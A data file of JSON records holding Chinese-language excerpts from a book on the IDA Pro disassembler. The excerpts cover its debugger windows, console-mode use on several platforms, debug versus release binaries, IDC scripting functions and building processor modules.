    {"text": "未知 24.5 小结 IDA 在调试器市场中并没有占有最大的市场份额，但它的调试器非常强大，能够与 IDA 的反汇编器无缝集成。和任何调试器一样，你需要一段时间来熟悉这个调试器的用户界面，它提供了用户在一个基本的调试器中所需要的全部重要功能。它的优点包括：脚本和插件功能、与IDA的反汇编窗口类似的用户界面以及强大的分析功能。反汇编器/ 调试器的完美结合，将为我们提供一个可靠的工具，用于执行静态分析、动态分析，或者同时执行这两种分析。 未知 24.2 调试器的基本显示 无论你以什么方式启动调试器，只要你感兴趣的进程在调试器的控制下被暂停，IDA 就会进入调试器模式（而非正常的反汇编模式），这时，IDA 将显示几个默认窗口。默认的调试器窗口如图24-5 所示。 图24-5 IDA 调试器窗口 如果你习惯于使用其他 Windows 调试器（如 OllyDbg 1 或Immunity Debugger 2 ），你的第一个念头可能是，这个屏幕并未显示太多信息。这主要是因为 IDA 默认使用一种实际可读的字体大小。如果你“想念”其他调试器使用的微型字体，你可以通过Options▶Font （选项▶字体）菜单来更改字体。如果你特别喜欢调试器窗口的某个布局，还可以使用已保存的 IDA 桌面（Windows▶Save Desktop）。 1. 参见 http://www.ollydbg.de/ 。 2. 参见 http://www.immunityinc.com/products-immdbg.shtml 。 如图24-5 所示，调试器工具栏替代了反汇编工具栏，在调试方面，有大量标准工具可供使用，包括进程控制工具和断点操纵工具。 在调试器激活时，IDA View-EIP （➋）反汇编窗口是一个默认的反汇编风格的窗口，它与指令指针寄存器的当前值同步。如果 IDA 检测到一个寄存器指向反汇编窗口中的一个内存位置，该寄存器的名称（而不是该寄存器指向的地址）将在窗口左侧显示。在图24-5 中，EIP 指向的位置在IDA View-EIP 窗口中标记出来（注意，在这个例子中，EDX也指向这个位置）。默认情况下，IDA 以红色突出显示断点，以蓝色突出显示将要执行的下一条指令（指令指针指向的指令）。与调试器有关的反汇编代码清单通过标准反汇编模式下的反汇编过程生成。因此，IDA 调试器提供了调试器所能提供的最佳反汇编功能。此外，如果你从打开的IDA 数据库中启动调试器，IDA将能够基于在启动调试器之前执行分析来突出显示所有可执行的内容。IDA 反汇编由进程加载的任何库代码的能力将受到更大限制，因为 IDA 没有机会在启动调试器之前分析相关.dll 文件。 “栈视图”（ ➌ ）窗口是另一个标准的反汇编窗口，它主要用于显示进程运行时栈的数据内容。所有指向栈位置的寄存器（本例中为 ESP ）如“通用寄存器”窗口（➍ ）中所示。通过使用注释，IDA 尽一切努力为栈上的每一个数据项提供上下文信息。如果栈项为内存地址，IDA 会尝试将该地址解析为函数位置（这有助于强调调用函数的位置）。如果栈项为数据指针，则显示对相关数据项的引用。剩余的默认显示包括十六进制窗口（➎，该窗口提供内存的标准十六进制代码块）、Modules窗口（➏，其中显示进程镜像中当前加载的模块列表），以及Threads窗口（➐，其中显示当前进程中的线程列表）。双击列出的任何线程，IDA View-EIP 反汇编窗口将跳转到所选线程中的当前指令，并更新“通用寄存器”窗口以反映所选线程中寄存器的当前值。 “通用寄存器”（ ➍）窗口（见图 24-6 ）显示 CPU 的通用寄存器的当前内容。通过 Debugger菜单，你还可以打开显示 CPU 段、浮点或者 MMX寄存器内容的其他窗口 图24-6 “通用寄存器”窗口 在“通用寄存器”窗口中，寄存器内容在相关寄存器名的右边显示，后面显示对每个寄存器内容的说明，最右边的列中显示 CPU 标志位。右击一个寄存器值或标志位，将显示一个 Modify菜单项，你可以更改任何寄存器或 CPU 标志的值。使用菜单项可以快速将值归零，切换值，增大或减小值。切换值在更改CPU 标记位时特别有用。右击任何寄存器值，还可以访问 Open Register Window菜单项。选择 Open Register Window，IDA 将打开一个新的反汇编窗口，在其中显示以你选择的寄存器保存的内存位置为中心的内存位置。如果你无意中关闭了 IDA View-EIP或IDA View-ESP窗口，可以对相应的寄存器使用 Open Register Window命令，重新打开你关闭的窗口。如果一个寄存器指向一个有效的内存位置，那么该寄存器值右侧的直角箭头将处于活动状态，并以黑色突出显示。单击一个活动的箭头，当前的反汇编窗口将跳转到相应的内存位置。 Modules窗口显示所有加载到进程内存空间中的可执行文件和共享库。双击任何模块名称，将打开该模块导出的符号列表。图 24-7 显示的是kernel32.dll 的内容。如果你想在那些函数的入口处设置断点，符号列表将提供一种容易的方法来追踪加载库中的函数。 图24-7 模块窗口及相关模块内容 其他调试器窗口可以使用各种调试器菜单选项来访问，我们将在 24.3 节讨论与调试器操作有关的其他窗口。通过 Views▶Open Subviews 命令，你不仅可以打开特定于调试器的窗口，还可以打开所有传统的 IDA 子窗口，如函数和段。"},
    {"text": "未知 10.1 控制台模式IDA IDA 所有控制台版本的核心是一个叫做 TVision的Borland控制台I/O 库，它已经被移植到各种平台上，包括 Windows、Linux和Mac OS X等。"},
    {"text": "但是，无论你使用什么终端程序，你都面临着一个同样的限制：如果屏幕仅限于显示 80 ×25 个字符，并且不显示图形时，你并没有多少显示空间可供使用。"},
    {"text": "为了更接近于 GUI 版本中的标签显示窗口，IDA 使用TVision库的重叠窗口功能来显示文本窗口，并使用热键F6（代替窗口标题标签）在打开的窗口之间切换。"},
    {"text": "如果你的控制台支持鼠标，你就可以通过单击并拖动显示窗口的右下角来调整窗口的大小。 要移动显示窗口，可以单击并拖动窗口的上边框。 如果控制台不支持鼠标，你可以使用Windows ▶ Resize ▶Move（CTRL+F5）命令，然后使用箭头键移动窗口的位置，或在按下 SHIFT 键的同时，使用箭头键调整活动窗口的大小。"},
    {"text": "你可以使用Options ▶Dump/Normal View（CTRL+F4）命令在反汇编窗口与十六进制窗口之间切换。 要同时打开一个反汇编窗口和一个十六进制窗口，你必须打开另一个反汇编窗口（View ▶Open Subviews ▶Disassembly），并将其切换到十六进制形式。"},
    {"text": "如果控制台支持鼠标，浏览反汇编代码清单的方法基本与GUI 版本类似：双击任何名称，反汇编窗口将跳转到对应的地址。 另外，将光标放在一个名称上并按下ENTER键，反汇编窗口将跳转到对应的已命名位置（在GUI 版本中，这项操作的功能相同）。"},
    {"text": "10.1.2 Windows控制台 Windows cmd.exe（在Windows 9x 系列中为command.exe ）终端并不十分灵活，但它能够相当完美地支持 IDA 的控制台版本。 Windows 控制台版本的IDA 叫做idaw.exe ，而 GUI 版本的 IDA名为idag.exe ，对应版本的 64 位二进制文件（由高级版本的 IDA 提供）分别为 idaw64.exe 和idag64.exe 。"},
    {"text": "为了使在 Windows 上运行的 IDA 支持鼠标，你必须在你运行的终端上禁用 QuickEdit模式。 要将QuickEdit模式配置为终端的一个属性，右击终端标题栏并选择 Properties，然后在 Options选项卡上取消选中 QuickEdit mode。 你必须在启动 IDA 之前禁用QuickEdit模式，因为在 IDA 运行时，这项操作并不能立即生效。"},
    {"text": "只有在Windows 中，IDA 的控制台版本才提供 Window ▶Set Video Mode （窗口▶设置视频模式）菜单选项，可在 6 个固定的终端大小之间切换 cmd.exe，最大的尺寸为 255×100。"},
    {"text": "在 Windows 版本的IDA 中，你可以一次打开几个图形，并在打开图形时继续使用 IDA 10.1.3 Linux控制台 Linux版本的 IDA 叫做 idal（或 idal64 ——用于分析 64 位二进制文件）。"},
    {"text": "因为你购买的 IDA 6. x 针对的是特定的平台，因此，要安装该版本，你只需安装 GUI 版本、控制台版本，然后将 IDA 密钥文件复制到适当位置即可。"},
    {"text": "有两种方法可以解决这个问题，一是使用一个热键与 IDA 无重叠的终端程序，二是编辑IDA 的配置文件，重新设置与命令对应的热键，并使用终端没有使用的热键。 如果选择重新设置热键，可能需要在使用 IDA 的每一台机器上更新热键设置，以免造成混淆。"},
    {"text": "如果你没有使用GPM提供鼠标支持，在启动IDA 时，你需要为 TVision指定noGPM 选项，如下所示： # TVOPT=noGPM ./idal [file to disassemble] 控制台模式下的颜色选择相当有限，需要调整颜色设置（Options ▶Colors ），以确保所有文本都正常显示，不会与背景融合。"},
    {"text": "如果出现这种情况，你需要安装该 VGA字体，并告知 X 服务器该字体的位置。 请从 http://gilesorr.com/bashprompt/xfonts/ 下载一种合适的VGA字体（下载vga 和sabvga ）。"},
    {"text": "使用Hex-Rays 提供的TVision库远程访问基于 Linux的IDA 时，建议你配置终端软件模拟一个xterm（请参考tvtuning.txt 文件和终端模拟器的文档资料，了解更多信息），然后根据tvtuning.txt 文件中的说明启动 IDA 。"},
    {"text": "只有在窗口环境中运行 IDA ，并且已配置 ida.cfg 中的 GRAPH_VISUALIZER 变量指向适当的图形呈现程序 3 的情况下，才可以在 Linux控制台版本中查看外部图形。"},
    {"text": "最后，由于qwingraph为开源软件，旧版 IDA 用户可从 Hex-Rays 免费下载qwingraph的源代码（参见第 9 章），构建该软件，然后将 qwingraph整合到IDA 安装中。"},
    {"text": "由于Mac 键盘与 PC键盘的布局不同，这给运行 Mac 版本的IDA 造成了一些挑战。 其主要原因在于：就应用程序菜单而言，Mac 的OPTION/ALT 键与PC的ALT 键的作用并不相同。 鉴于此，要运行 IDA ，最好使用 Mac 的Terminal 应用程序。 在使用 Terminal 运行IDA 时，一定要将OPTION 键配置成 IDA 中的ALT 键。"},
    {"text": "在OS X上运行IDA 的另一种方法是安装 X11（在OS X安装磁盘的一个可选包中）和Jeremy Cooper 改良的 TVision库（用于 OS X的libtvision.dylib文件），将 IDA 作为本地 X11 应用程序运行。"},
    {"text": "其中一个解决办法是在你的根目录下创建（或编辑）一个名为.Xmodmap 的文件（如/Users/idabook/.Xmodmap ），其中包含以下命令： clear Mod1 keycode 66 = Alt_L keycode 69 = Alt_R add Mod1 = Alt_L add Mod1 = Alt_R 默认的X11 启动脚本（/etc/X11/xinit/xinitrc ）中包含启动 X11 时读取.Xmodmap 的命令。 如果你已经创建了自己的.xinitrc 文件，它将覆盖默认的 xinitrc 文件，你必须确保其中包含一个与下面类似的命令，否则，.Xmodmap 文件将无法运行。 ➊ xmodmap $HOME/.Xmodmap 最后，你需要修改 X11 的默认设置，以防止系统重写已修改的热键设置。"},
    {"text": "取消这个选项后，重新启动X11，你修改的键盘设置将会生效，然后，你就可以使用ALT 键访问IDA 的菜单。 你可以使用 xmodmap 打印当前的键盘修饰符列表，验证 X11 是否能够识别 ALT 键，如下所示： idabook:~ idabook$ xmodmap xmodmap: up to 2 keys per modifier, (keycodes in parentheses): shift Shift_L (0x40), Shift_R (0x44) lock Caps_Lock (0x41) control Control_L (0x43), Control_R (0x46) ➋ mod1 Alt_L (0x42), Alt_R (0x45) mod2 Meta_L (0x3f) mod3 mod4 mod5 如果 mod1 没有列出 ALT_L 和 ALT_R ，如➋处所示，则表示你的键盘设置并未生效。"},
    {"text": "未知 20.4 调试版与发行版二进制文件 通常，微软的 Visual Studio项目能够构建调试版本或发行版本的二进制程序。要了解这两个版本之间的差异，可以比较一个项目的调试版本和发行版本所指定的构建选项。二者之间的细微差异包括：发行版本通常经过优化 1 ，而调试版本则没有；调试版本链接有其他符号信息和运行库，而发行版本则没有。增加与调试有关的符号，有助于调试器将汇编语言语句转换成它们对应的源代码，还有助于确定局部变量的名称 2 。通常，这些信息会在编译过程中丢失。在编译调试版本的微软运行库时，我们还可以包含调试符号、禁用优化并启用其他安全检查，以核实一些函数参数是否有效。 1. 优化通常是指删除代码中的多余代码，或选择更快但可能更大的代码序列，以满足开发者的期望，即创建更快或更小的可执行文件。与未优化代码相比，分析经过优化的代码要困难一些，因此，在程序的开发和调试阶段，使用优化代码被视为是一个错误的选择。 2. 在编译过程中，gcc 也能够插入调试符号。 使用IDA 进行反汇编时，Visual Studio项目的调试版本与发行版本之间存在着明显的差异。这是仅调试版本指定了编译器和链接器选项的结果，如基本的运行时检查（/RTCx 3 ）选项，它在最终的二进制文件中引入了额外的代码。这些额外的代码会造成一个“副作用”：它会破坏IDA的启动签名匹配过程，导致 IDA 总是无法自动定位调试版本的二进制文件中的 main 函数。 3. 参见 http://msdn.microsoft.com/en-us/library/8wtf2dfz.aspx 。 在调试版本的二进制文件中，一个明显的不同是几乎所有的函数都通过 jump 函数（也叫做 thunk 函数）调用，如下面的代码片段所示： ➎ .text:00411050 sub_411050 proc near ; CODE XREF: start_0+3↓p .text:00411050 ➏jmp sub_412AE0 .text:00411050 sub_411050 endp ... ➊ .text:0041110E start proc near .text:0041110E ➋jmp start_0 .text:0041110E start endp ... ➌ .text:00411920 start_0 proc near ; CODE XREF: start↑j .text:00411920 push ebp .text:00411921 mov ebp, esp .text:00411923 ➌call sub_411050 .text:00411928 call sub_411940 .text:0041192D pop ebp .text:0041192E retn .text:0041192E start_0 endp 在这个例子中，程序入口点（➊ ）除了跳转（➋ ）到真正的启动函数（➌ ）外，其他什么也不做。启动函数又调用（➍ ）另一个函数（➎ ），而后者则跳转到（➏ ）启动函数的实现位置。➊ 和➎ 这两个函数中没有其他内容，只有一个叫做thunk 函数的跳转语句。在调试版本的二进制文件中大量使用thunk 函数给IDA 的签名匹配过程造成一个很大的障碍。虽然 thunk 函数会大大减慢你的分析进程，但使用前一节中描述的技巧，你仍然可以跟踪到二进制文件的 main 函数。 在调试版本的二进制文件中进行基本的运行时检查，会导致在执行任何函数时都增加其他一些操作。一个调试版本的二进制文件的扩充版“序言”如下所示： .text:00411500 push ebp .text:00411501 mov ebp, esp .text:00411503 ➊ sub esp, 0F0h .text:00411509 push ebx .text:0041150A push esi .text:0041150B push edi .text:0041150C ➋lea edi, [ebp+var_F0] .text:00411512 mov ecx, 3Ch .text:00411517 mov eax, 0CCCCCCCCh .text:0041151C rep stosd .text:0041151E ➌ mov [ebp+var_8], 0 .text:00411525 mov [ebp+var_14], 1 .text:0041152C mov [ebp+var_20], 2 .text:00411533 mov [ebp+var_2C], 3 这个例子中的函数使用 4 个局部变量，它们仅仅需要 16 个字节的栈空间。但是，我们看到，这个函数分配了 240 个字节（➊）的栈空间，然后用 0xCC 这个值填充这 240 个字节。从➋开始的4 行代码等同于下面的函数调用： memset(&var_F0, 0xCC, 240); 字节值 0xCC 对应于 int 3 的x86 操作码， int 3 是一个软件中断，它会使一个程序进入调试器中。用大量 0xCC 值填充栈帧，是为了确保当程序试图执行栈中的指令时（在调试版本的二进制文件中可能会遇到的错误条件），调试器将被调用。 这个函数的局部变量从➌处开始初始化，从那里我们注意到，这些变量并不是彼此相邻。它们之间的多余空间由前面的 memset 操作用 0xC C值填充。但是，变量之间的额外空间会使我们更易于检测出一个变量的溢出情况，这种溢出可能会波及另一个变量，并给它造成破坏。在正常情况下，任何已声明变量之外用作填充符的 0xCC 值，绝不可能被覆写。为了便于比较，上面代码的发行版本如下所示： .text:004018D0 push ebp .text:004018D1 mov ebp, esp .text:004018D3 ➊ sub esp, 10h .text:004018D6 ➋ mov [ebp+var_4], 0 .text:004018DD mov [ebp+var_C], 1 .text:004018E4 mov [ebp+var_8], 2 .text:004018EB mov [ebp+var_10], 3 我们看到，发行版本仅为局部变量分配了所需的空间（➊），而且所有 4 个变量彼此相邻（➋）。还要注意的是，这时已不再需要使用 0xCC 作为填充值。"},
    {"text": "未知 18.1 未知文件分析 有无数的文件格式可用于存储可执行代码。IDA 自带了一些加载器模块，可识别许多常见的文件格式，但是，文件格式日益增多，IDA 无法为它们都提供加载器模块。二进制映像可能包含为特定的操作系统而格式化的可执行文件、提取自嵌入式系统的 ROM映像、提取自闪存更新的固件映像或是提取自网络数据包的机器语言源代码块。这些映像的格式可能取决于操作系统（可执行文件）、目标处理器和系统体系结构（ROM映像），也可能与任何事物都无关（嵌入在应用层数据中的破解程序 shellcode ）。 假设处理器模块能够反汇编未知的二进制文件的代码，那么在告诉 IDA 这个二进制文件的哪些部分代表代码，哪些部分代表数据之前，你需要正确安排文件映像在 IDA 数据库中的位置。对多数处理器而言，使用二进制格式加载一个文件，你将只得到一个文件内容，这些内容构成一个以地址 0 开头的段，如代码清单 18-1 所示。 代码清单 18-1 以二进制模式加载的 PE文件的前几行 seg000:00000000 db 4Dh ; M seg000:00000001 db 5Ah ; Z seg000:00000002 db 90h ; É seg000:00000003 db 0 seg000:00000004 db 3 seg000:00000005 db 0 seg000:00000006 db 0 seg000:00000007 db 0 有时候，根据所选处理器模块的复杂程度，IDA 可能会进行少量反汇编。例如，如果所选的处理器是一个嵌入式微处理器，能够对ROM映像的布局做出假设，这时就会出现上述情况。Andy Whittaker为那些对这类应用程序感兴趣的读者创建了一个完美的视频教程 1 ，说明如何逆向工程Siemens C166 微处理器应用程序的二进制映像。 1. 参见 http://www.andywhittaker.com/ECU/DisassemblingaBoschME755/tabid/96/Default.aspx 。 分析二进制文件时，你肯定需要尽可能多地收集与该文件有关的资源。这些资源包括CPU参考文献、操作系统参考文献、系统设计文档，以及通过调试或硬件辅助（如逻辑分析器）分析获得的内存布局信息。 在下一节中，为了举例方便，我们假设 IDA 无法识别Windows PE文件格式。PE是一种众所周知的文件格式，许多读者都熟悉它。更重要的是，有大量详细介绍 PE文件结构的文档可供我们使用，这使得分析任何 PE文件都会比较简单。 未知 12.4 小结 库代码自动识别是一个重要的功能，它明显减少了分析静态链接二进制文件所需的时间。利用它的FLIRT 和FLAIR 功能，用户可从现有的静态库创建他们自己的库签名，它不仅使自动代码识别成为可能，而且使它具有了可扩展性。对于任何可能遇到静态链接二进制文件的用户而言，了解如何生成签名是一项基本的技能。"},
    {"text": "long Byte(long addr) ，从虚拟地址 addr 处读取一个字节值。 long Word(long addr) ，从虚拟地址 addr 处读取一个字（2 字节）值。 long Dword(long addr) ，从虚拟地址 addr 处读取一个双字（4 字节）值。 void PatchByte(long addr, long val) ，设置虚拟地址 addr 处的一个字节值。 void PatchWord(long addr, long val) ，设置虚拟地址 addr 处的一个字值。 void PatchDword(long addr, long val) ，设置虚拟地址 addr 处的一个双字值。"},
    {"text": "PatchXXX 函数还根据被调用的函数，通过仅使用适当数量的低位字节，将所提供的值调整到适当大小。 例如，调用 PatchByte(0x401010, 0x1234) 将使用字节值 0x34（0x1234 的低位字节）修改 0x401010 位置。"},
    {"text": "因为你没有办法将这些错误值与存储在数据库中的合法值区分开来，因此，在尝试从数据库中的某个地址读取数据之前，你可能希望调用 isLoaded 函数，以确定这个地址是否包含任何数据。"},
    {"text": "这个函数类似于 C 语言的 printf 函数，并接受 printf 风格的格式化字符串。 void print(...) ，在输出窗口中打印每个参数的字符串表示形式。"},
    {"text": "15.4.3 字符串操纵函数 虽然简单的字符串赋值和拼接操作可以通过 IDC 中的基本运算符实现，但是，更加复杂的操作必须使用字符串操纵函数实现，这些函数如下所示。"},
    {"text": "long atol(string val) ，将十进制值 val 转换成对应的整数值。 long xtol(string val) ，将十六进制值 val （可选择以 0x 开头）转换成对应的整数值 string ltoa(long val, long radix) ，以指定的 radix （2 、8 、10或16）返回 val 的字符串值。 long ord(string ch) ，返回单字符字符串 ch 的ASCII 值。 long strlen(string str) ，返回所提供字符串的长度。 long strstr(string str, string substr) ，返回 str 中 substr 的索引。"},
    {"text": "long fprintf(long handle, string format, ...) ，将一个格式化字符串写入到给定文件中。 long writestr(long handle, string str) ，将指定的字符串写入到给定文件中。 string/long readstr(long handle) ，从给定文件中读取一个字符串。"},
    {"text": "long writelong(long handle, long val, long bigendian) ，使用大端（ bigendian=1 ）或小端（ bigendian=0 ）字节顺序将一个 4 字节整数写入到给定文件。 long readlong(long handle, long bigendian) ，使用大端（ bigendian=1 ）或小端（ bigendian=0 ）字节顺序从给定的文件中读取一个 4 字节整数。 long writeshort(long handle, long val, long bigendian) ，使用大端（ bigendian=1 ）或小端（ bigendian=0 ）字节顺序将一个 2 字节整数写入到给定的文件。 long readshort(long handle, long bigendian) ，使用大端（ bigendian=1 ）或小端（ bigendian=0 ）字节顺序从给定的文件中读取一个 2 字节整数。 bool loadfile(long handle, long pos, long addr, long length) ，从给定文件的 pos 位置读取 length 数量的字节，并将这些字节写入到以 addr 地址开头的数据库中。 bool savefile(long handle, long pos, long addr, long length) ，将以 addr 数据库地址开头的 length 数量的字节写入给定文件的 pos 位置。"},
    {"text": "对于代码交叉引用，这些常量包括 fl_CN （近调用）、 fl_CF （远调用）、 fl_JN （近跳转）、 fl_JF （远跳转）和 fl_F （普通顺序流）。"},
    {"text": "long DnextB(long to, long current) ，如果 currnet 已经在前一次调用 DfristB 或 DnextB 时返回，则返回将给定地址（ to ）作为数据引用的下一次位置。"},
    {"text": "long FindCode(long addr, long flags) ，从给定的地址搜索一条指令。 long FindData(long addr, long flags) ，从给定的地址搜索一个数据项。 long FindBinary(long addr, long flags, string binary) ，从给定的地址搜索一个字节序列。"},
    {"text": "未知 第21章 模糊代码分析 即使在理想情况下，理解一个反汇编代码清单也相当困难。对于任何计划深入挖掘二进制文件内部机制的人来说，高质量的反汇编工作都非常重要，这也正是我们用前面整整20章内容讨论IDA Pro 及其功能的原因。你可能会说，IDA 如此高效，它降低了人们进入二进制分析领域的门槛。虽然这并不完全归功于IDA ，但近些年来，二进制逆向工程领域已经取得了长足的进步，而希望保护软件不被分析的程序员也同样不甘示弱。于是，过去几年中，逆向工程人员与希望保护他们代码的程序员之间展开了某种“军备竞赛”。在这一章中，我们将分析IDA 在其中扮演的角色，并讨论人们为保护代码而采取的措施，以及IDA 如何战胜这些措施。 各种字典定义指出，模糊是一种使某物变得模糊、混乱，令人困惑、迷惑，以防止他人理解被模糊的项目的行为。另一方面，反逆向工程包括一系列旨在阻止他人分析某个项目的技巧（模糊为其中之一）。在本书中及使用 IDA 的情形下，我们认为这些反逆向工程技巧所适用的项目为二进制可执行文件（例如，相对于源文件或硅芯片）。 为了研究模糊以及反逆向工程对于 IDA 应用的总体影响，我们首先将这些技巧分类，以了解每一种技巧的作用。需要注意的是，对每一种技巧进行分类，并没有唯一正确的方法，因为这些分类往往会相互重叠。此外，新的反逆向工程技巧不断涌现，我们在这里不可能讨论所有这些技术。 未知 第25章 反汇编器/ 调试器集成 像IDA 这样的集成式反汇编器/调试器组合是一个非常强大的工具，可用于操纵二进制文件，并在逆向工程过程中无缝应用静态和动态分析技巧。当然，如果你了解这两款工具单独使用以及结合使用的功能和限制，你同样可以实现相同的目的。 本章将讨论一些重要的问题，说明 IDA 的静态功能如何与它的动态功能交互。为了给这方面的讨论提供启示，我们将研究可被 IDA 调试器采用、用于在恶意软件分析时破坏某些反调试（及反“反汇编”）技巧的方法。在这方面，需要记住的是，我们分析恶意软件的目的通常并不是运行恶意软件，而是获得一个质量足够好的反汇编代码清单，以供静态分析工具使用。如第21章所述，有许多技巧专门用于阻止反汇编正常运行，而调试器只是破坏这些技巧的一种手段。通过在调试器的控制下运行模糊程序，我们将设法获得该程序的去模糊版本，然后使用反汇编器进行分析。"},
    {"text": "未知 19.4 构建处理器模块 构建和安装 IDA 处理器模块的过程与构建和安装插件和加载器的过程非常类似，它们之间只存在一个主要的差异，如果不遵照这个差异，可能导致 IDA 无法使用你的处理器。"},
    {"text": "假设在某个时候，你设法使用 SDK 提供的自定义 MS-DOS 存根构建了你的处理器模块，那么，你仍然必须在处理器二进制文件中插入处理器描述注释。"},
    {"text": "你可以使用下面的语法调用 mkidp ，给一个处理器添加一段注释： $ mkidp module description 这里， module 是你的处理器模块的路径，而 description 是你的模块的文本描述，如下所示： Long module name:short module name 要给我们的 Python 处理器模块添加一段描述，可以使用下面的命令行： $ ./mkidp procs/python.w32 \"Python Bytecode:python\" mkidp 实用工具尝试在文件中偏移量为 128 字节的命名模块中插入所提供的描述，插入描述的空间位于MS-DOS 存根与 PE头部之间（假设这样的空间存在）。"},
    {"text": "如果由于PE头部过于接近MS-DOS 存根的结尾部分，而没有足够的空间，你将收到以下错误消息： mkidp: too long processor description 这时，操作是否成功更多地取决于你使用的工具，因为使用微软链接器构建的处理器有足够的空间可以插入描述，而使用 GNU链接器构建的处理器却没有足够的空间。"},
    {"text": "为了消除困惑，并使用微软工具或GNU工具，我们开发了一个叫做 fix_proc 的实用工具，读者可以在本书网站的第19章部分下载该工具。 fix_proc 实用工具使用和mkidp 相同的命令行语法，但是，它还提供了其他功能，可以在使用大多数编译器构建的处理器模块中插入一段处理器描述。 执行 fix_proc 后，它用SDK提供的存根替换处理器现有的MS-DOS 存根（因而不需要在构建过程中使用.def 文件）。 同时， fix_proc 执行必要的操作，重新定位处理器的PE头部，创建足够的空间来保存处理器描述字符串，最后将描述字符串插入到处理器二进制文件中的正确位置。 在对处理器模块执行所需的“后续处理步骤”时，我们用 fix_proc 代替 mkidp 。"},
    {"text": "表19-1 后处理的IDA 处理器模块（按编译器） 初步构建 使用mkidp 后 使用fix_proc后 工具 是否使用.def 是否拥有存根 是否拥有存根 是否拥有描述 是否拥有存根 是否拥有描述 Borland 是 是 是 是 是 是 微软 否 否 否 是 是 是 GNU 否 否 否 否 是 是 只有拥有有效描述的处理器才会出现在“文件加载”对话框中。"},
    {"text": "代码清单 19-1 构建 Python 处理器模块的生成文件 #Set this variable to point to your SDK directory IDA_SDK=../../ PLATFORM=$(shell uname | cut -f 1 -d _) ifneq \"$(PLATFORM)\" \"MINGW32\" IDA=$(HOME)/ida endif #Set this variable to the desired name of your compiled processor PROC=python #Specify a description string for your processor, this is required #The syntax is <long name>:<short name> ➊ DESCRIPTION=Python Bytecode:python ifeq \"$(PLATFORM)\" \"MINGW32\" PLATFORM_CFLAGS=-D__NT__ -D__IDP__ -DWIN32 -Os -fno-rtti PLATFORM_LDFLAGS=-shared -s LIBDIR=$(shell find ../../ -type d | grep -E \"(lib|lib/)gcc.w32\") ifeq ($(strip $(LIBDIR)),) LIBDIR=../../lib/x86_win_gcc_32 endif IDALIB=$(LIBDIR)/ida.a PROC_EXT=.w32 else ifeq \"$(PLATFORM)\" \"Linux\" PLATFORM_CFLAGS=-D__LINUX__ PLATFORM_LDFLAGS=-shared -s IDALIB=-lida IDADIR=-L$(IDA) PROC_EXT=.ilx else ifeq \"$(PLATFORM)\" \"Darwin\" PLATFORM_CFLAGS=-D__MAC__ PLATFORM_LDFLAGS=-dynamiclib IDALIB=-lida IDADIR=-L$(IDA)/idaq.app/Contents/MacOs PROC_EXT=.imc endif #Platform specific compiler flags CFLAGS=-Wextra $(PLATFORM_CFLAGS) #Platform specific ld flags LDFLAGS=$(PLATFORM_LDFLAGS) #specify any additional libraries that you may need EXTRALIBS= # Destination directory for compiled plugins OUTDIR=$(IDA_SDK)bin/procs/ # Postprocessing tool to add processor comment ➋ MKIDP=$(IDA_SDK)bin/fix_proc #MKIDP=$(IDA)bin/mkidp #list out the object files in your project here OBJS=ana.o emu.o ins.o out.o reg.o BINARY=$(OUTDIR)$(PROC)$(PROC_EXT) all: $(OUTDIR) $(BINARY) clean: -@rm *.o -@rm $(BINARY) $(OUTDIR): -@mkdir -p $(OUTDIR) CC=g++ INC=-I$(IDA_SDK)include/ %.o: %.cpp $(CC) -c $(CFLAGS) $(INC) $< -o $@ LD=g++ ifeq \"$(PLATFORM)\" \"MINGW32\" #Windows processor's require post processing $(BINARY): $(OBJS) $(LD) $(LDFLAGS) -o $@ $(OBJS) $(IDALIB) $(EXTRALIBS) ➌ $(MKIDP) $(BINARY) \"$(DESCRIPTION)\" else $(BINARY): $(OBJS) $(LD) $(LDFLAGS) -o $@ $(OBJS) $(IDALIB) $(EXTRALIBS) endif #change python below to the name of your processor, make sure to add any #additional files that your processor is dependent on python.o: python.cpp ana.o: ana.cpp emu.o: emu.cpp ins.o: ins.cpp out.o: out.cpp reg.o: reg.cpp 除了后缀以及处理器的默认文件位置这些细微的差别外，主要差异包括描述字符串的定义（➊ ）、插入描述字符串的实用工具（➋）的规范以及增加的一个在 Windows 处理器模块中插入描述字符串（➌）的构建步骤。"},
    {"text": "未知 4.3 IDA 桌面简介 你将大量用到 IDA 桌面，应该花时间熟悉一下它的各种组件。IDA 的默认桌面如图 4-9 所示。我们将在下一节讨论桌面在分析文件时的各种行为。 我们将介绍以下区域。 工具栏区域 （➊）包含与 IDA 的常用操作对应的工具。你可以使用 View▶Toolbars 命令显示或隐藏工具栏。你可以使用鼠标拖放工具栏，根据需要重新设定它们的位置。带有单独一排工具按钮的 IDA 的基本模式工具栏如图 4-9 所示。用户可以使用View▶Toolbars▶Advanced mode打开高级模式工具栏。高级模式工具栏包含整整三排工具按钮。 图4-9 IDA 桌面 彩色的水平带是 IDA 的 概况导航栏 （➋），也叫做 导航带 。导航带是被加载文件地址空间的线性视图。默认情况下，它会呈现二进制文件的整个地址范围。你可以右击导航带内任何位置，并选择一个可用的缩放选项，放大或缩小显示的地址范围。不同的颜色表示不同类型的文件内容，如数据或代码。同时，在导航带上，会有一个细小的 当前位置指示符 （默认为黄色）指向与当前反汇编窗口中显示的地址范围对应的导航带地址。将光标悬停在导航带的任何位置，IDA 会显示一个工具提示，指出其在二进制文件中的对应位置。单击导航带，反汇编视图将跳转到二进制文件中你选定的位置。用户可以通过 Options▶Colors 命令自定义导航带所使用的颜色。拖动导航带，使其离开 IDA 桌面，你将得到一个分离的概况导航栏，如图 4-10 所示。在图 4-10 中，你可以看到当前位置指示符（➊左边的半长向下箭头）和按功能组标识文件内容的 颜色键 。 图4-10 概况导航栏 回到图 4-9，IDA 为当前打开的每一个数据显示窗口都提供了标签（➌）。数据显示窗口中包含从二进制文件中提取的信息，它们代表数据库的各种视图。绝大多数分析工作需要通过数据显示窗口完成。图 4-9 显示了 3 个数据显示窗口：IDA-View、Functions 和Graph Overview。通过View▶Open Subviews菜单可打开其他数据显示窗口，还可恢复任何意外关闭或有意关闭的窗口。 反汇编视图 （➍）是主要数据显示视图，它有两种不同的形式：图形视图（默认）和列表视图。在图形视图中，IDA 显示的是某个函数在某一时间的流程图。结合使用图形概况，你就可以通过该函数结构的视觉分解图来了解函数的运行情况。打开 IDA-View 窗口后，可以使用空格键在图形视图样式和列表视图样式之间切换。如果希望将列表视图作为 默认视图 ，则必须通过Options▶General菜单打开IDA Options 复选框，取消选择 Graph选项卡下的Use graph view by default （默认使用图形视图）复选框，如图 4-11 所示。 图4-11 IDA 图形选项 